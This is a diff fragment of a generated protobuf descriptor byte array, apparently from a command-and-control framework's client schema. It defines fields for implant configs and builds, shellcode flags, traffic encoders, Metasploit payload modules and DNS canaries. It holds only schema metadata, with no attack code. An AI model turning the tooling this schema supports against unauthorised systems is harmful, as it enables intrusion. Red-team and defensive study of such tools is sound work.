0x65, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0b, 0x49, 0x73, 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, 0x4c, 0x69, 0x62, 0x12, 0x1a, 0x0a, 0x08, + 0x46, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x66, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x46, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x53, 0x65, + 0x72, 0x76, 0x69, 0x63, 0x65, 0x18, 0x67, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, + 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x65, 0x6c, + 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x68, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x73, 0x53, + 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x52, 0x75, 0x6e, 0x41, + 0x74, 0x4c, 0x6f, 0x61, 0x64, 0x18, 0x69, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x52, 0x75, 0x6e, + 0x41, 0x74, 0x4c, 0x6f, 0x61, 0x64, 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, + 0x69, 0x6c, 0x65, 0x18, 0x6a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, + 0x46, 0x69, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4e, 0x65, 0x74, 0x47, 0x6f, 0x45, 0x6e, 0x61, + 0x62, 0x6c, 0x65, 0x64, 0x18, 0x6b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x4e, 0x65, 0x74, 0x47, + 0x6f, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x36, 0x0a, 0x16, 0x54, 0x72, 0x61, 0x66, + 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x61, 0x62, 0x6c, + 0x65, 0x64, 0x18, 0x6c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, + 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, + 0x12, 0x28, 0x0a, 0x0f, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x72, 0x73, 0x18, 0x6d, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0f, 0x54, 0x72, 0x61, 0x66, 0x66, + 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x12, 0x27, 0x0a, 0x06, 0x41, 0x73, + 0x73, 0x65, 0x74, 0x73, 0x18, 0xc8, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x06, 0x41, 0x73, 0x73, + 0x65, 0x74, 0x73, 0x22, 0x7a, 0x0a, 0x0e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x02, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x04, 0x57, 0x61, 0x73, 0x6d, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, + 0x69, 0x6c, 0x65, 0x52, 0x04, 0x57, 0x61, 0x73, 0x6d, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x6b, 0x69, + 0x70, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, 0x6b, + 0x69, 0x70, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x54, 0x65, 0x73, 0x74, 0x49, + 0x44, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x54, 0x65, 0x73, 0x74, 0x49, 0x44, 0x22, + 0xb1, 0x01, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x45, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, + 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x72, 0x4d, 0x61, 0x70, 0x2e, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, 0x55, 0x0a, 0x0d, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, + 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, + 0x2e, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, - 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x72, 0x73, 0x1a, 0x55, 0x0a, 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2e, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, + 0x02, 0x38, 0x01, 0x22, 0xa6, 0x01, 0x0a, 0x12, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, + 0x0a, 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x12, 0x18, 0x0a, 0x07, + 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, + 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x03, 0x45, 0x72, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x18, 0x0a, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x53, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x22, 0xc3, 0x01, 0x0a, + 0x13, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, + 0x65, 0x73, 0x74, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa6, 0x01, 0x0a, 0x12, 0x54, - 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, - 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, - 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, - 0x74, 0x65, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x1a, 0x0a, - 0x08, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, - 0x08, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, - 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53, - 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x53, 0x61, 0x6d, - 0x70, 0x6c, 0x65, 0x22, 0xc3, 0x01, 0x0a, 0x13, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, - 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x45, - 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, - 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, - 0x32, 0x0a, 0x05, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1c, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, - 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x52, 0x05, 0x54, 0x65, - 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x44, 0x75, 0x72, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0d, 0x54, 0x6f, 0x74, 0x61, - 0x6c, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x6f, 0x74, - 0x61, 0x6c, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x54, - 0x6f, 0x74, 0x61, 0x6c, 0x54, 0x65, 0x73, 0x74, 0x73, 0x22, 0x66, 0x0a, 0x15, 0x45, 0x78, 0x74, - 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, - 0x69, 0x67, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, - 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, - 0x66, 0x69, 0x67, 0x12, 0x1c, 0x0a, 0x09, 0x4f, 0x54, 0x50, 0x53, 0x65, 0x63, 0x72, 0x65, 0x74, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x4f, 0x54, 0x50, 0x53, 0x65, 0x63, 0x72, 0x65, - 0x74, 0x22, 0x79, 0x0a, 0x15, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, - 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x28, - 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x49, - 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, - 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0xa4, 0x01, 0x0a, - 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x3e, - 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x24, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, - 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x2e, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x1a, 0x53, - 0x0a, 0x0c, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, - 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, - 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, - 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, - 0x02, 0x38, 0x01, 0x22, 0x6c, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, - 0x61, 0x72, 0x67, 0x65, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, - 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, - 0x48, 0x12, 0x2e, 0x0a, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x0e, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x75, 0x74, - 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, - 0x74, 0x22, 0x85, 0x01, 0x0a, 0x0d, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, - 0x6c, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x4f, - 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, - 0x4f, 0x4f, 0x53, 0x12, 0x22, 0x0a, 0x0c, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x47, 0x4f, 0x41, - 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x54, 0x61, 0x72, 0x67, 0x65, - 0x74, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x16, 0x0a, 0x06, 0x43, 0x43, 0x50, 0x61, 0x74, - 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x43, 0x43, 0x50, 0x61, 0x74, 0x68, 0x12, - 0x18, 0x0a, 0x07, 0x43, 0x58, 0x58, 0x50, 0x61, 0x74, 0x68, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x07, 0x43, 0x58, 0x58, 0x50, 0x61, 0x74, 0x68, 0x22, 0xf5, 0x01, 0x0a, 0x08, 0x43, 0x6f, - 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, - 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, - 0x43, 0x48, 0x12, 0x32, 0x0a, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x03, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, - 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, - 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, - 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, - 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, - 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x12, 0x48, 0x0a, 0x12, 0x55, 0x6e, 0x73, 0x75, 0x70, - 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x05, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, - 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x12, 0x55, - 0x6e, 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, - 0x73, 0x22, 0x7e, 0x0a, 0x10, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x4d, - 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x75, 0x6c, - 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x75, 0x6c, - 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, - 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, 0x63, - 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x51, 0x75, 0x61, 0x6c, 0x69, - 0x74, 0x79, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x51, 0x75, 0x61, 0x6c, 0x69, 0x74, - 0x79, 0x22, 0xce, 0x01, 0x0a, 0x12, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, - 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, - 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x73, 0x18, 0x02, 0x20, - 0x03, 0x28, 0x09, 0x52, 0x07, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x73, 0x12, 0x14, 0x0a, 0x05, - 0x41, 0x72, 0x63, 0x68, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, 0x41, 0x72, 0x63, - 0x68, 0x73, 0x12, 0x36, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x04, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, - 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x12, 0x36, 0x0a, 0x08, 0x50, 0x61, - 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, - 0x69, 0x74, 0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x52, 0x08, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, - 0x64, 0x73, 0x22, 0x1f, 0x0a, 0x09, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, - 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x22, 0xc7, 0x01, 0x0a, 0x09, 0x44, 0x4e, 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, - 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x54, - 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, - 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x46, 0x69, 0x72, - 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, - 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x61, 0x74, 0x65, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, - 0x65, 0x72, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x61, 0x74, 0x65, 0x73, 0x74, - 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, - 0x18, 0x06, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x3b, 0x0a, - 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x2f, 0x0a, 